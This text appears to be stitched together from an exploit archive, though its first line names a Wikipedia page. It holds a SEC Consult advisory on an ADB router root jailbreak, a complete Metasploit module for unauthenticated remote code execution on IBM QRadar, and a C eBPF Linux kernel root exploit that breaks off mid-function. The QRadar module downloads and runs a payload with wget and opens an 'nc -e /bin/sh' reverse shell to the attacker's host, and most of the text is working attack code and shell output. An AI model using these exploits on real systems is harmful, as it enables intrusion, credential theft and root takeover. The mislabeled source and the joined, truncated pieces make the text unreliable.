Source: https://en.wikipedia.org/wiki/Advanced_Digital_Broadcast

Business recommendation:
------------------------
By exploiting the local root vulnerability on affected and unpatched devices
an attacker is able to gain full access to the device with highest privileges.
Attackers are able to modify any settings that might have otherwise been
prohibited by the ISP. It is possible to retrieve all stored user credentials
(such as VoIP) or SSL private keys. Furthermore, attacks on the internal network
side of the ISP are possible by using the device as a jump host, depending on
the internal network security measures.

Network security should not depend on the security of independent devices,
such as modems. An attacker with root access to such a device can enable
attacks on connected networks, such as administrative networks managed by the
ISP or other users.

It is highly recommended by SEC Consult to perform a thorough security review
by security professionals for this platform. It is assumed that further critical
vulnerabilities exist within the firmware of this device.

Vulnerability overview/description:
-----------------------------------
1) Local root jailbreak via network file sharing flaw (CVE-2018-13108)
Most ADB devices offer USB ports in order for customers to use them for
printer or file sharing. In the past, ADB devices have suffered from symlink
attacks e.g. via FTP server functionality which has been fixed in more recent
firmware versions.

The "Network File Sharing" feature of current ADB devices via USB uses a samba
daemon which accesses the USB drive with highest access rights and exports the
network shares with root user permissions. The default and hardcoded setting
for the samba daemon within the smb.conf on the device has set "wide links =
no" which normally disallows gaining access to the root file system of the
device using symlink attacks via a USB drive.

But an attacker is able to exploit both a web GUI input validation and samba
configuration file parsing problem which makes it possible to access the root
file system of the device with root access rights via a manipulated USB drive.

The attacker can then edit various system files, e.g. passwd and session
information of the web server in order to escalate web GUI privileges and
start a telnet server and gain full system level shell access as root.

This is a local attack and not possible via remote access vectors as an
attacker needs to insert a specially crafted USB drive into the device!
Usually not even the ISPs themselves have direct root access on ADB devices
hence this attack is quite problematic for further internal attacks.

It is possible to change network routes and attack networks and systems within
the internal network of the ISP or add backdoors or sniffers to the device.

Furthermore, attackers are able to gain access to all stored credentials,
such as PPP, wireless, CPE management or VoIP passwords.

Proof of concept:
-----------------
1) Local root jailbreak via network file sharing flaw (CVE-2018-13108)
The samba configuration file (smb.conf) of the ADB devices has set the
following default settings. All file system operations will be performed
by the root user as set in the "force user" / "force group" setting of the
exported share:

[global]
netbios name = HOSTNAME
workgroup = WORKGROUP
wide links = no
smb ports = 445 139
security = share
guest account = root
announce version = 5.0
socket options = TCP_NODELAY SO_RCVBUF=65536 SO_SNDBUF=65536
null passwords = yes
name resolve order = hosts wins bcast
wins support = yes
syslog only = yes
read only = no
hosts allow = 192.168.1.1/255.255.255.0
[share]
path = /mnt/sdb1/.
read only = false
force user = root
force group = root
guest ok = yes

An attacker can edit various values such as "netbios name" and "workgroup" via
the web GUI. The web GUI does some basic filtering and newlines are
unfortunately not allowed (the samba config file is line-based) hence a
special bypass has been crafted in order to change the default setting "wide
links = no" to "wide links = yes". This enables symlinks to the root file
system.

By using the following netbios name and workgroup, samba can be tricked into
allowing symlinks to the root file system of the device:
netbios domain / workgroup = =wide links = yes \ netbios name = wide links = yes 
Relevant HTTP POST parameters:
&domainName==wide links = yes \ \ &hostName=wide+links+%3D+yes+%5C

According to the manpage of smb.conf, any line ending in a \ is continued by the
samba parser on the next line. Furthermore, it states that "Only the first
equals sign in a parameter is significant." - which it seems can be bypassed
by adding a backslash \. The parser now thinks that the "wide links = yes" has
been set and omits the hardcoded "wide links = no" which comes further down
below in the smb.conf file.

In order to add those special values within the web GUI a proxy server such as
burp proxy is needed because of basic input validation on the client side (not
server side).

The USB drive needs to be formatted to ext2 or ext3 which is supported by
the ADB device. Then create a symlink to the root file system via the
following command on the attacker's computer:
ln -s / /path/to/usbdevice/rootfs

After those settings have been changed and the USB drive has been set up,
the USB drive can be inserted into the ADB device. The USB volume needs to be
exported (with read/write permissions) as a share via the web GUI. Afterwards
it can be accessed over the network and the "rootfs" folder example from above
will give an attacker access to the ADB root file system with "read & write"
access permissions as root.

Most file systems / partitions on the device are mounted read-only per default,
but the most important one "/tmp" contains all settings and is mounted writable
for operations.

The defaut user "admin" usually has little access rights during normal
operations which can be changed by manipulating the session file of the web
server within /tmp/ui_session_XXX where XXX is the session id of the currently
logged on user, e.g. change:
from: access.dboard/settings/management/telnetserver =|> 2001
to: access.dboard/settings/management/telnetserver =|> 2220
etc. (or change all entries for maximum access level)

This way, an attacker can give himself all/highest access permissions within
the GUI and change all the settings of the device! Hence the telnet or SSH
server can be started even though they might have been disabled by the ISP.
Furthermore, the /tmp/passwd file has to be changed in order to allow root
access via shell/telnet:
change: root:*:0:0:root:/root:/bin/ash
to: root::0:0:root:/root:/bin/ash

Now telnet into the device with root and no password.
Example of an ADB DV2210 device:

Trying $IP...
Connected to $IP.
Escape character is '^]'.
Login root:

BusyBox v1.17.3 (2016-02-11 13:34:33 CET) built-in shell (ash)
Enter 'help' for a list of built-in commands.

___ ___ ___ ___
|\__\ /\ \ /\ \ /\ |:| | /::\ \ /::\ \ /::\ |:| | /:/\:\ \ /:/\:\ \ /:/\:\ |:|__|__ /::\~\:\ \ /::\~\:\ \ _\:\~\:\ /::::\__\ /:/\:\ \:\__\ /:/\:\ \:\__\ /\ \:\ \:\__ /:/~~/~ \/__\:\/:/ / \/__\:\/:/ / \:\ \:\ \/__/
/:/ / \::/ / \::/ / \:\ \:\__ \/__/ /:/ / \/__/ \:\/:/ /
/:/ / \::/ /
\/__/ \/__/
..................................................................
yet another purposeful solution by A D B Broadband
..................................................................
root@$hostname:~# id
uid=0(root) gid=0(root) groups=0(root)
root@$hostname:~#

Vulnerable / tested versions:
-----------------------------
The following devices & firmware have been tested which were the most recent
versions at the time of discovery.

The firmware versions depend on the ISP / customer of ADB and may vary!

ADB P.RG AV4202N - E_3.3.0, latest firmware version, depending on ISP
ADB DV 2210 - E_5.3.0, latest firmware version, depending on ISP
ADB VV 5522 - E_8.3.0, latest firmware version, depending on ISP
ADB VV 2220 - E_9.0.6, latest firmware version, depending on ISP
etc.

It has been confirmed by ADB that _all_ their ADB modems / gateways / routers
based on the Epicentro platform with USB ports and network file sharing
features are affected by this vulnerability in all firmware versions for all
their customers (ISPs) at the time of identification of the vulnerability.

Vendor contact timeline:
------------------------
2016-06-15: Contacting vendor ADB, exchanging encryption keys & advisory
Asking about affected devices / firmware, timeline for hotfix
Fast initial response from ADB providing requested information
2016-06-16: Asking about other affected devices
2016-06-17: Resending previous question due to encryption problems
2016-07-04: Conference call
2016-07 - 2017-04: Further coordination, waiting for firmware release,
implementation & rollout phases for their customers
2018-07-04: Embargo lifted, public release of security advisory

Solution:
---------
The firmware versions depend on the ISP / customer of ADB and may vary!

Patch version:

ADB P.RG AV4202N >= E_3.3.2, firmware version depending on ISP
ADB DV2210 >= E_5.3.2, firmware version depending on ISP
ADB VV5522 >= E_8.3.2, firmware version depending on ISP
ADB VV2220 >= E_9.3.2, firmware version depending on ISP

Centro Business 1 >= 7.12.10
Centro Business 2 >= 8.06.08

etc.

Workaround:
-----------
Restrict access to the web interface and only allow trusted users.
Change any default/weak passwords to strong credentials.
Don't allow remote access to the web GUI via Internet.

Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/career/index.html

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/contact/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF J. Greil / @2018
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'securerandom'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'IBM QRadar SIEM Unauthenticated Remote Code Execution',
      'Description'    => %q{
        IBM QRadar SIEM has three vulnerabilities in the Forensics web application
        that when chained together allow an attacker to achieve unauthenticated remote code execution.

        The first stage bypasses authentication by fixating session cookies.
        The second stage uses those authenticated sessions cookies to write a file to disk and execute
        that file as the "nobody" user.
        The third and final stage occurs when the file executed as "nobody" writes an entry into the
        database that causes QRadar to execute a shell script controlled by the attacker as root within
        the next minute.
        Details about these vulnerabilities can be found in the advisories listed in References.

        The Forensics web application is disabled in QRadar Community Edition, but the code still works,
        so these vulnerabilities can be exploited in all flavours of QRadar.
        This module was tested with IBM QRadar CE 7.3.0 and 7.3.1. IBM has confirmed versions up to 7.2.8
        patch 12 and 7.3.1 patch 3 are vulnerable.
        Due to payload constraints, this module only runs a generic/shell_reverse_tcp payload.
      },
      'Author'         =>
        [
          'Pedro Ribeiro <pedrib@gmail.com>'         # Vulnerability discovery and Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'References'     =>
        [
         ['CVE', '2016-9722'],
         ['CVE', '2018-1418'],
         ['CVE', '2018-1612'],
         ['URL', 'https://blogs.securiteam.com/index.php/archives/3689'],
         ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/ibm-qradar-siem-forensics.txt'],
         ['URL', 'http://seclists.org/fulldisclosure/2018/May/54'],
         ['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg22015797']
        ],
      'Targets'        =>
        [
          [ 'IBM QRadar SIEM <= 7.3.1 Patch 2 / 7.2.8 Patch 11', {} ],
        ],
      'Payload'        => {
        'Compat'       => {
          'ConnectionType'  => 'reverse',
        }
      },
      'DefaultOptions'  => {
        'SSL'     => true,
        # we can only run shell scripts, so set a reverse netcat payload by default
        # the payload that will be run is in the first few lines of @payload
        'PAYLOAD' => 'generic/shell_reverse_tcp',
      },
      'DisclosureDate'  => 'May 28 2018',
      'DefaultTarget'   => 0))
    register_options(
      [
        Opt::RPORT(443),
        OptString.new('SRVHOST', [true, 'HTTP server address', '0.0.0.0']),
        OptString.new('SRVPORT', [true, 'HTTP server port', '4448']),
      ])
  end

  def check
    res = send_request_cgi({
      'uri'    => '/ForensicsAnalysisServlet/',
      'method' => 'GET'
    })

    if res.nil?
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    if res.code == 403
      return CheckCode::Detected
    end

    CheckCode::Safe
  rescue ::Rex::ConnectionError
    vprint_error 'Connection failed'
    return CheckCode::Unknown
  end

  # Handle incoming requests from QRadar
  def on_request_uri(cli, request)
    print_good("#{peer} - Sending privilege escalation payload to QRadar...")
    print_good("#{peer} - Sit back and relax, Shelly will come visit soon!")
    send_response(cli, @payload)
  end


  # step 1 of the exploit, bypass authentication in the ForensicAnalysisServlet
  def set_cookies
    @sec_cookie = SecureRandom.uuid
    @csrf_cookie = SecureRandom.uuid

    post_data = "#{rand_text_alpha(5..12)},#{rand_text_alpha(5..12)}," +
      "#{@sec_cookie},#{@csrf_cookie}"

    res = send_request_cgi({
      'uri'       => '/ForensicsAnalysisServlet/',
      'method'    => 'POST',
      'ctype'     => 'application/json',
      'cookie'    => "SEC=#{@sec_cookie}; QRadarCSRF=#{@csrf_cookie};",
      'vars_get'  =>
      {
        'action'  => 'setSecurityTokens',
        'forensicsManagedHostIps' => "#{rand(256)}.#{rand(256)}.#{rand(256)}.#{rand(256)}"
      },
      'data'      => post_data
    })

    if res.nil? or res.code != 200
      fail_with(Failure::Unknown, "#{peer} - Failed to set the SEC and QRadar CSRF cookies")
    end
  end

  def exploit
    print_status("#{peer} - Attempting to exploit #{target.name}")

    # run step 1
    set_cookies

    # let's prepare step 2 (payload) and 3 (payload exec as root)
    @payload_name = rand_text_alpha_lower(3..5)
    root_payload = rand_text_alpha_lower(3..5)

    if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
      srv_host = Rex::Socket.source_address(rhost)
    else
      srv_host = datastore['SRVHOST']
    end

    http_service = (datastore['SSL'] ? 'https://' : 'http://') + srv_host + ':' + datastore['SRVPORT'].to_s
    service_uri = http_service + '/' + @payload_name

    print_status("#{peer} - Starting up our web service on #{http_service} ...")
    start_service({'Uri' => {
      'Proc' => Proc.new { |cli, req|
        on_request_uri(cli, req)
      },
      'Path' => "/#{@payload_name}"
    }})

    @payload = %{#!/bin/bash

# our payload that's going to be downloaded from our web server
cat <<EOF > /store/configservices/staging/updates/#{root_payload}
#!/bin/bash
/usr/bin/nc -e /bin/sh #{datastore['LHOST']} #{datastore['LPORT']} &
EOF

### below is adapted from /opt/qradar/support/changePasswd.sh
[ -z $NVA_CONF ] && NVA_CONF="/opt/qradar/conf/nva.conf"
NVACONF=`grep "^NVACONF=" $NVA_CONF 2> /dev/null | cut -d= -f2`
FRAMEWORKS_PROPERTIES_FILE="frameworks.properties"
FORENSICS_USER_FILE="config_user.xml"
FORENSICS_USER_FILE_CONFIG="$NVACONF/$FORENSICS_USER_FILE"

# get the encrypted db password from the config
PASSWORDENCRYPTED=`cat $FORENSICS_USER_FILE_CONFIG | grep WEBUSER_DB_PASSWORD | grep -o -P '(?<=>)([\\w\\=\\+\\/]*)(?=<)'`

QVERSION=$(/opt/qradar/bin/myver | awk -F. '{print $1$2$3}')

AU_CRYPT=/opt/qradar/lib/Q1/auCrypto.pm
P_ENC=$(grep I_P_ENC ${AU_CRYPT} | cut -d= -f2-)
P_DEC=$(grep I_P_DEC ${AU_CRYPT} | cut -d= -f2-)

AESKEY=`grep 'aes.key=' $NVACONF/$FRAMEWORKS_PROPERTIES_FILE | cut -c9-`

#if 7.2.8 or greater, use new method for hashing and salting passwords
if [[ $QVERSION -gt 727 || -z "$AESKEY" ]]
then
    PASSWORD=$(perl <(echo ${P_DEC} | base64 -d) <(echo ${PASSWORDENCRYPTED}))
      [ $? != 0 ] && echo "ERROR: Unable to decrypt $PASSWORDENCRYPTED" && exit 255
else

    PASSWORD=`/opt/qradar/bin/runjava.sh -Daes.key=$AESKEY com.q1labs.frameworks.crypto.AESUtil decrypt $PASSWORDENCRYPTED`
    [ $? != 0 ] && echo "ERROR: Unable to decrypt $PASSWORDENCRYPTED" && exit 255
fi

PGPASSWORD=$PASSWORD /usr/bin/psql -h localhost -U qradar qradar -c \
"insert into autoupdate_patch values ('#{root_payload}',#{rand(1000)+100},'minor',false,#{rand(9999)+100},0,'',1,false,'','','',false)"

# kill ourselves!
(sleep 2 && rm -- "$0") &
}

    # let's do step 2 then, ask QRadar to download and execute our payload
    print_status("#{peer} - Asking QRadar to download and execute #{service_uri}")

    exec_cmd = "$(mkdir -p /store/configservices/staging/updates && wget --no-check-certificate -O " +
      "/store/configservices/staging/updates/#{@payload_name} #{service_uri} && " +
      "/bin/bash /store/configservices/staging/updates/#{@payload_name})"

    payload_step2 = "pcap[0][pcap]" +
      "=/#{rand_text_alpha_lower(2..6) + '/' + rand_text_alpha_lower(2..6)}" +
      "&pcap[1][pcap]=#{Rex::Text::uri_encode(exec_cmd, 'hex-all')}"

    uri_step2 = "/ForensicsAnalysisServlet/?forensicsManagedHostIps" +
      "=127.0.0.1/forensics/file.php%3f%26&action=get&slavefile=true"

    res = send_request_cgi({
        'uri'       => uri_step2 + '&' + payload_step2,
        'method'    => 'GET',
        'cookie'    => "SEC=#{@sec_cookie}; QRadarCSRF=#{@csrf_cookie};",
      })

  # now we just sit back and wait for step 2 payload to be downloaded and executed
  # ... and then step 3 to complete. Let's give it a little more than a minute.
  Rex.sleep 80
  end
end
            
/*
  Credit @bleidl, this is a slight modification to his original POC
  https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c
  
  For details on how the exploit works, please visit
  https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
   
  Tested on Ubuntu 16.04 with the following Kernels
  4.4.0-31-generic
  4.4.0-62-generic
  4.4.0-81-generic
  4.4.0-116-generic
  4.8.0-58-generic
  4.10.0.42-generic
  4.13.0-21-generic

  Tested on Fedora 27
  4.13.9-300
  gcc cve-2017-16995.c -o cve-2017-16995
  internet@client:~/cve-2017-16995$ ./cve-2017-16995
  [.]
  [.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
  [.]
  [.]   ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
  [.]
  [*] creating bpf map
  [*] sneaking evil bpf past the verifier
  [*] creating socketpair()
  [*] attaching bpf backdoor to socket
  [*] skbuff => ffff880038c3f500  
  [*] Leaking sock struct from ffff88003af5e180
  [*] Sock->sk_rcvtimeo at offset 472
  [*] Cred structure at ffff880038704600
  [*] UID from cred structure: 1000, matches the current: 1000
  [*] hammering cred structure at ffff880038704600
  [*] credentials patched, launching shell...
  #id
  uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(internet)
  
*/

#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <sys/personality.h>

char buffer[64];
int sockets[2];
int mapfd, progfd;
int doredact = 0;

#define LOG_BUF_SIZE 65536
#define PHYS_OFFSET 0xffff880000000000
char bpf_log_buf[LOG_BUF_SIZE];

static __u64 ptr_to_u64(void *ptr)
{
	return (__u64) (unsigned long) ptr;
}

int bpf_prog_load(enum bpf_prog_type prog_type,
		  const struct bpf_insn *insns, int prog_len,
		  const char *license, int kern_version)
{
	union bpf_attr attr = {
		.prog_type = prog_type,
		.insns = ptr_to_u64((void *) insns),
		.insn_cnt = prog_len / sizeof(struct bpf_insn),
		.license = ptr_to_u64((void *) license),
		.log_buf = ptr_to_u64(bpf_log_buf),
		.log_size = LOG_BUF_SIZE,
		.log_level = 1,
	};

	attr.kern_version = kern_version;

	bpf_log_buf[0] = 0;

	return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}

int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
		   int max_entries, int map_flags)
{
	union bpf_attr attr = {
		.map_type = map_type,
		.key_size = key_size,
		.value_size = value_size,
		.max_entries = max_entries
	};

	return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}

int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags)
{
	union bpf_attr attr = {
		.map_fd = fd,
		.key = ptr_to_u64(key),
		.value = ptr_to_u64(value),
		.flags = flags,
	};

	return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}

int bpf_lookup_elem(int fd, void *key, void *value)
{
	union bpf_attr attr = {
		.map_fd = fd,
		.key = ptr_to_u64(key),
		.value = ptr_to_u64(value),
	};

	return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}

#define BPF_ALU64_IMM(OP, DST, IMM)				\
	((struct bpf_insn) {					\
		.code  = BPF_ALU64 | BPF_OP(OP) | BPF_K,	\
		.dst_reg = DST,					\
		.src_reg = 0,					\
		.off   = 0,					\
		.imm   = IMM })

#define BPF_MOV64_REG(DST, SRC)					\
	((struct bpf_insn) {					\
		.code  = BPF_ALU64 | BPF_MOV | BPF_X,		\
		.dst_reg = DST,					\
		.src_reg = SRC,					\
		.off   = 0,					\
		.imm   = 0 })

#define BPF_MOV32_REG(DST, SRC)					\
	((struct bpf_insn) {					\
		.code  = BPF_ALU | BPF_MOV | BPF_X,		\
		.dst_reg = DST,					\
		.src_reg = SRC,					\
		.off   = 0,					\
		.imm   = 0 })

#define BPF_MOV64_IMM(DST, IMM)					\
	((struct bpf_insn) {					\
		.code  = BPF_ALU64 | BPF_MOV | BPF_K,		\
		.dst_reg = DST,					\
		.src_reg = 0,					\
		.off   = 0,					\
		.imm   = IMM })

#define BPF_MOV32_IMM(DST, IMM)					\
	((struct bpf_insn) {					\
		.code  = BPF_ALU | BPF_MOV | BPF_K,		\
		.dst_reg = DST,					\
		.src_reg = 0,					\
		.off   = 0,					\
		.imm   = IMM })

#define BPF_LD_IMM64(DST, IMM)					\
	BPF_LD_IMM64_RAW(DST, 0, IMM)

#define BPF_LD_IMM64_RAW(DST, SRC, IMM)				\
	((struct bpf_insn) {					\
		.code  = BPF_LD | BPF_DW | BPF_IMM,		\
		.dst_reg = DST,					\
		.src_reg = SRC,					\
		.off   = 0,					\
		.imm   = (__u32) (IMM) }),			\
	((struct bpf_insn) {					\
		.code  = 0, 					\
		.dst_reg = 0,					\
		.src_reg = 0,					\
		.off   = 0,					\
		.imm   = ((__u64) (IMM)) >> 32 })

#ifndef BPF_PSEUDO_MAP_FD
# define BPF_PSEUDO_MAP_FD	1
#endif

#define BPF_LD_MAP_FD(DST, MAP_FD)				\
	BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)

#define BPF_LDX_MEM(SIZE, DST, SRC, OFF)			\
	((struct bpf_insn) {					\
		.code  = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,	\
		.dst_reg = DST,					\
		.src_reg = SRC,					\
		.off   = OFF,					\
		.imm   = 0 })

#define BPF_STX_MEM(SIZE, DST, SRC, OFF)			\
	((struct bpf_insn) {					\
		.code  = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,	\
		.dst_reg = DST,					\
		.src_reg = SRC,					\
		.off   = OFF,					\
		.imm   = 0 })

#define BPF_ST_MEM(SIZE, DST, OFF, IMM)				\
	((struct bpf_insn) {					\
		.code  = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM,	\
		.dst_reg = DST,					\
		.src_reg = 0,					\
		.off   = OFF,					\
		.imm   = IMM })

#define BPF_JMP_IMM(OP, DST, IMM, OFF)				\
	((struct bpf_insn) {					\
		.code  = BPF_JMP | BPF_OP(OP) | BPF_K,		\
		.dst_reg = DST,					\
		.src_reg = 0,					\
		.off   = OFF,					\
		.imm   = IMM })

#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM)			\
	((struct bpf_insn) {					\
		.code  = CODE,					\
		.dst_reg = DST,					\
		.src_reg = SRC,					\
		.off   = OFF,					\
		.imm   = IMM })

#define BPF_EXIT_INSN()						\
	((struct bpf_insn) {					\
		.code  = BPF_JMP | BPF_EXIT,			\
		.dst_reg = 0,					\
		.src_reg = 0,					\
		.off   = 0,					\
		.imm   = 0 })

#define BPF_DISABLE_VERIFIER()                                                       \
	BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF),             /* r2 = (u32)0xFFFFFFFF   */   \
	BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2),   /* if (r2 == -1) {        */   \
	BPF_MOV64_IMM(BPF_REG_0, 0),                      /*   exit(0);             */   \
	BPF_EXIT_INSN()                                   /* }                      */   \

#define BPF_MAP_GET(idx, dst)                                                        \
	BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),              /* r1 = r9                */   \
	BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),             /* r2 = fp                */   \
	BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),            /* r2 = fp - 4            */   \
	BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx),           /* *(u32 *)(fp - 4) = idx */   \
	BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),             \
	BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),            /* if (r0 == 0)           */   \
	BPF_EXIT_INSN(),                                  /*   exit(0);             */   \
	BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0)          /* r_dst = *(u64 *)(r0)   */              

static int load_prog() {
	struct bpf_insn prog[] = {
		BPF_DISABLE_VERIFIER(),

		BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_1, -16),   /* *(fp - 16) = r1       */

		BPF_LD_MAP_FD(BPF_REG_9, mapfd),

		BPF_MAP_GET(0, BPF_REG_6),                         /* r6 = op               */
		BPF_MAP_GET(1, BPF_REG_7),                         /* r7 = address          */
		BPF_MAP_GET(2, BPF_REG_8),                         /* r8 = value            */

		/* store map slot address in r2 */
		BPF_MOV64_REG(BPF_REG_2, BPF_REG_0),               /* r2 = r0               */
		BPF_MOV64_IMM(BPF_REG_0, 0),                       /* r0 = 0  for exit(0)   */

		BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2),             /* if (op == 0)          */
		/* get fp */
		BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
		BPF_EXIT_INSN(),

		BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3),             /* else if (op == 1)     */
		/* get skbuff */
		BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_10, -16),
		BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
		BPF_EXIT_INSN(),

		BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 3),             /* else if (op == 2)     */
		/* read */
		BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),
		BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
		BPF_EXIT_INSN(),
		/* else                  */
		/* write */
		BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), 
		BPF_EXIT_INSN(),

	};
	return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog), "GPL", 0);
}

void info(const char *fmt, ...) {
	va_list args;
	va_start(args, fmt);
	fprintf(stdout, "[.] ");
	vfprintf(stdout, fmt, args);
	va_end(args);
}

void msg(const char *fmt, ...) {
	va_list args;
	va_start(args, fmt);
	fprintf(stdout, "[*] ");
	vfprintf(stdout, fmt, args);
	va_end(args);
}

void redact(const char *fmt, ...) {
	va_list args;
	va_start(args, fmt);
	if(doredact) {
		fprintf(stdout, "[!] ( ( R E D A C T E D ) )\n");
		return;
	}
	fprintf(stdout, "[*] ");
	vfprintf(stdout, fmt, args);
	va_end(args);
}

void fail(const char *fmt, ...) {
	va_list args;
	va_start(args, fmt);
	fprintf(stdout, "[!] ");
	vfprintf(stdout, fmt, args);
	va_end(args);
	exit(1);
}

void 
initialize() {
	info("\n");
	info("t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)\n");
	info("\n");
	info("  ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **\n");
	info("\n");

	redact("creating bpf map\n");
	mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3, 0);
	if (mapfd < 0) {
		fail("failed to create bpf map: '%s'\n", strerror(errno));
	}

	redact("sneaking evil bpf past the verifier\n");
	progfd = load_prog();
	if (progfd < 0) {
		if (errno == EACCES) {
			msg("log:\n%s", bpf_log_buf);
		}
		fail("failed to load prog '%s'\n", strerror(errno));
	}

	redact("creating socketpair()\n");
	if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) {
		fail("failed to create socket pair '%s'\n", strerror(errno));
	}

	redact("attaching bpf backdoor to socket\n");
	if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) {
		fail("setsockopt '%s'\n", strerror(errno));
	}
}

static void writemsg() {
	ssize_t n = write(sockets[0], buffer, sizeof(buffer));
	if (n < 0) {
		perror("write");
		return;
	}
	if (n != sizeof(buffer)) {
		fprintf(stderr, "short write: %zd\n", n);
	}
}

static void 
update_elem(int key, unsigned long value) {
	if (bpf_update_elem(mapfd, &key, &value, 0)) {
		fail("bpf_update_elem failed '%s'\n", strerror(errno));
	}
}

static unsigned long 
get_value(int key) {
	unsigned long value;
	if (bpf_lookup_elem(mapfd, &key, &value)) {
		fail("bpf_lookup_elem failed '%s'\n", strerror(errno));
	}
	return value;
}

static unsigned long
sendcmd(unsigned long op, unsigned long addr, unsigned long value) {
	update_elem(0, op);
	update_elem(1, addr);
	update_elem(2, value);
	writemsg();
	return get_value(2);
}

unsigned long
get_skbuff() {
	return sendcmd(1, 0, 0);
}

unsigned long
get_fp() {
	return sendcmd(0, 0, 0);
}

unsigned long
read64(unsigned long addr) {
	return sendcmd(2, addr, 0);
}

void
write64(unsigned long addr, unsigned long val) {
	(void)sendcmd(3, addr, val);
}

static unsigned long find_cred() {
	uid_t uid = getuid();
	unsigned long skbuff = get_skbuff();
	/*
	 * struct sk_buff {
	 *     [...24 byte offset...]
	 *     struct sock     *sk;
	 * };
	 *
	 */

	unsigned long sock_addr = read64(skbuff + 24);
	msg("skbuff => %llx\n", skbuff);
	msg("Leaking sock struct from %llx\n", sock_addr);	
	if(sock_addr < PHYS_OFFSET){
		fail("Failed to find Sock address from sk_buff.\n");
	}	
		
	/*
	 * scan forward for expected sk_rcvtimeo value.
	 *
	 * struct sock {
	 *    [...]
	 *    const struct cred      *sk_peer_cred; 
	 *    long                    sk_rcvtimeo;             
	 *  };
	 */
	for (int i = 0; i < 100; i++, sock_addr += 8) {
		if(read64(sock_addr) == 0x7FFFFFFFFFFFFFFF) {
			unsigned long cred_struct = read64(sock_addr - 8);
